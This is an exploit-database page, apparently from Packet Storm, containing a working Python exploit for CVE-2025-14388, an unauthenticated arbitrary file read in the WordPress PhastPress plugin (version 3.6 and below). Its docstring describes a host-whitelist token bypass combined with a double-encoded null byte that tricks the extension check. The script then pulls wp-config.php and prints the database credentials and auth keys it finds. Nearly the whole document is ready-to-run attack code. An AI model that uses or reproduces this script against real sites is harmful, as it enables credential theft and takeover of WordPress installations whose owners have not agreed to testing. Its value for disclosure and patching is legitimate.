Share
## https://sploitus.com/exploit?id=PACKETSTORM:226432
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin PhastPress <= 3.6 - Unauthenticated Arbitrary File Read
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/phastpress/
    # Software Link: https://downloads.wordpress.org/plugin/phastpress.3.6.zip
    # Version: 3.6 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-14388
    """CVE-2025-14388 โ€” PhastPress <= 3.6 โ€” Unauthenticated Arbitrary File Read
    
    Blackbox HTTP exploit against a real WordPress + PhastPress install. Reads any file inside the
    web document root (e.g. wp-config.php โ†’ DB credentials + all AUTH keys/salts).
    
    Root cause: the standalone entry script `wp-content/plugins/phastpress/phast.php` serves the
    optimizer `scripts` service with NO WordPress auth. Token auth is bypassed via the host whitelist
    fallback (`~^https?://<request-host>/~`), so a `src` beginning with the site's own host is accepted
    without a token. The extension allow-list is bypassed with a double-URL-encoded null byte
    (`wp-config.php%2500.js`): the check sees a `.js` file, but the path is truncated at the null byte
    before `file_get_contents()`, reading `wp-config.php`.
    
    Key detail: PhastPress keys its local-file retriever map on the request `Host` header, and the
    `src` URL host must MATCH it exactly (no port), or it falls back to a (failing) remote fetch.
    This exploit sends `Host: <host>` and `src=http://<host>/...` consistently.
    
    Usage:
      python3 CVE-2025-14388_phastpress.py --target http://localhost:8090 --host localhost --file wp-config.php
    """
    import argparse, sys, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True, help="URL used to reach the server, e.g. http://localhost:8090")
        ap.add_argument("--host", default=None,
                        help="Host header / src host phastpress maps to docroot (default: target host without port)")
        ap.add_argument("--file", default="wp-config.php", help="file to read, relative to web root")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        parsed = urllib.parse.urlparse(base)
        host = args.host or parsed.hostname   # no port
        # src = http://<host>/<file>%2500.js  (double-encoded null byte + fake .js ext)
        src = f"http://{host}/{args.file}%00.js"
        src_qs = urllib.parse.quote(f"http://{host}/{args.file}", safe="") + "%2500.js"
        url = f"{base}/wp-content/plugins/phastpress/phast.php?service=scripts&src={src_qs}"
        print(f"[*] Target: {base}")
        print(f"[*] Host header / retriever key: {host}")
        print(f"[*] Reading: {args.file}  (null-byte bypass -> {src})")
        r = requests.get(url, headers={"Host": host}, timeout=20, verify=False)
        print(f"[*] Response: HTTP {r.status_code}, {len(r.content)} bytes")
        body = r.text
        markers = ["DB_NAME", "DB_PASSWORD", "AUTH_KEY", "table_prefix"]
        if r.status_code == 200 and any(m in body for m in markers if args.file.endswith("wp-config.php")) \
           or (r.status_code == 200 and args.file != "wp-config.php" and len(body) > 0 and "Internal error" not in body):
            print(f"\n[+] FILE READ CONFIRMED โ€” contents of {args.file}:")
            print("-" * 60)
            print(body.strip()[:4000])
            print("-" * 60)
            return 0
        print(f"\n[-] Read failed. Body: {body[:200]}")
        print("    Tip: ensure --host matches the site's Host header exactly (no port).")
        return 1
    
    if __name__ == "__main__":
        sys.exit(main())